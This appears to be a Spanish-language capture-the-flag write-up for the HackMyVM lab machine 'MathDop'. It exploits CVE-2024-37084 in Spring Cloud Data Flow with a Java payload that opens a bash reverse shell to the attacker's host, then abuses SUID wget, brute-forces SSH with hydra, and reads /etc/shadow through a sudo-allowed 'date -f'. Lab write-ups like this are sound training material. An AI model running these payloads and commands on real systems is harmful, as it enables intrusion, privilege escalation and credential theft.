cd ~/blog

~/writeups/hmv/126-mathdop.md

126 - MathDop

easy Linux hmvautor: Jordy Pérez Osorio aviso legal
Spring Cloud Data Flow RCE (CVE-2024-37084)SUID Binary Abuse mediante wget dentro de DockerWeak Password derivada de un desafío matemático con SHA256Sudo-Allowed Program Abuse mediante date para Arbitrary File Read
hackmyvm.eu/machines/machine.php?vm=MathDop

~2 min de lectura


Enumeración de servicios

El objetivo expone SSH y dos servicios HTTP sobre Apache Tomcat. La aplicación relevante se identifica como Spring Cloud Data Flow:

❯ nmap -sCV -p 22,7577,9393 -oN 02-targeted.txt 192.168.1.7
...
22/tcp   open  ssh     OpenSSH 7.4 (protocol 2.0)
7577/tcp open  http    Apache Tomcat
9393/tcp open  http    Apache Tomcat
...

Spring Cloud Data Flow RCE

El dashboard del puerto 9393 identifica Spring Cloud Data Flow 2.11.3, una versión afectada por CVE-2024-37084. La API complementaria del puerto 7577 expone /api/package/upload, que es el endpoint utilizado por el PoC. Una carga de paquete especialmente preparada provoca la deserialización de YAML y termina cargando una clase Java controlada por el atacante. Usamos el PoC de Kayiyan con un payload de artsploit; el constructor de la clase ejecutará la reverse shell cuando el servidor cargue el JAR:

❯ cat src/artsploit/AwesomeScriptEngineFactory.java
...
    public AwesomeScriptEngineFactory() {
        try {
            String cmd = "bash -i >& /dev/tcp/192.168.1.6/1234 0>&1";
            Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", cmd});
        } catch (IOException e) { ... }
    }
...
❯ /usr/lib/jvm/java-8-openjdk/bin/javac src/artsploit/AwesomeScriptEngineFactory.java
❯ jar -cvf yaml-payload.jar -C src/ .
❯ python3 -m http.server

❯ python3 CVE-2024-37084-Poc.py --target_url http://192.168.1.7:7577/api/package/upload --version 5.0.0 --payload_url http://192.168.1.6:8000/yaml-payload.jar --listen_ip 192.168.1.6 --listen_port 1234

❯ ncat -lvp 1234
Ncat: Connection from 192.168.1.7:43772.
cnb@921567b128b2:/workspace$

SUID Binary Abuse dentro del contenedor

El identificador del prompt y el entorno muestran que la shell pertenece a un contenedor Docker. Esto es importante porque root dentro del contenedor no equivale a root en el host. Buscando binarios SUID encontramos wget; mediante SUID Binary Abuse y --use-askpass, hacemos que ejecute un script conservando su EUID 0. Después añadimos una cuenta UID 0 al /etc/passwd del propio contenedor:

cnb@921567b128b2:/var$ find / -perm -4000 2>/dev/null
...
/usr/local/bin/wget
...

cnb@921567b128b2:/var$ TF=$(mktemp)
cnb@921567b128b2:/var$ chmod +x $TF
cnb@921567b128b2:/var$ echo -e '#!/bin/sh -p\n/bin/sh -p 1>&0' >$TF
cnb@921567b128b2:/var$ wget --use-askpass=$TF 0

uid=1000(cnb) gid=1000(cnb) euid=0(root) egid=0(root) groups=0(root),1000(cnb)
# echo 'pwned:$1$salt1234$bTARrDtiFtJF9wDZzDFx00:0:0:xxoo,,,:/root:/bin/bash' >> /etc/passwd

Derivación de la contraseña de mathlake

Los privilegios obtenidos dentro del contenedor permiten leer y exfiltrar /var/mail/mathlake/data.xlsx. La hoja plantea una descomposición de series temporales y la pista del número favorito 256 señala SHA-256. La tendencia calculada para junio de 2025 es 55; alrededor de ese resultado generamos las combinaciones descritas por el reto y almacenamos sus hashes para probarlos como una Weak Password de SSH:

❯ cat hashes.sh
#!/bin/bash
for i in {54..56};do
        for j in {0..6};do
                for k in {0..1};do
                        echo "$i*$j*$k" |sha256sum|awk '{print $1}';
                done
        done
done
❯ ./hashes.sh > wordlist.txt

❯ hydra -l mathlake -P wordlist.txt 192.168.1.7 ssh -t 64
...
[22][ssh] host: 192.168.1.7   login: mathlake   password: 9bd29d2c90998b5af05b3fdf10d9ab4c9eff53f2a827fbc39247200874ab6ca3
...

La contraseña encontrada permite salir del contexto del contenedor y entrar por SSH como mathlake en el host. sudo -l muestra que el usuario puede ejecutar un manejador de comandos como root sin contraseña:

[mathlake@mathdop ~]$ sudo -l
...
User mathlake may run the following commands on mathdop:
    (ALL) NOPASSWD: /opt/secure_input_handler.sh

Arbitrary File Read mediante date -f

El script decodifica comandos en Base64, pero solo admite date, pwd y echo. Esta lista permitida no neutraliza las opciones de cada programa. En concreto, date -f procesa un archivo línea por línea y muestra cada línea que no puede interpretar como fecha, por lo que el Sudo-Allowed Program Abuse se convierte en una Arbitrary File Read:

❯ echo 'date -f /etc/shadow' | base64
ZGF0ZSAtZiAvZXRjL3NoYWRvdwo=

[mathlake@mathdop ~]$ sudo /opt/secure_input_handler.sh
Input Command: ZGF0ZSAtZiAvZXRjL3NoYWRvdwo=
...
date: invalid date ‘# Worth waiting for’
...

La salida de error reproduce el comentario # Worth waiting for encontrado en /etc/shadow. La frase funciona como contraseña de root:

[mathlake@mathdop ~]$ su root
Password: Worth waiting for
[root@mathdop mathlake]#

El prompt privilegiado confirma el cambio de usuario. Con este acceso damos por completada la máquina.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados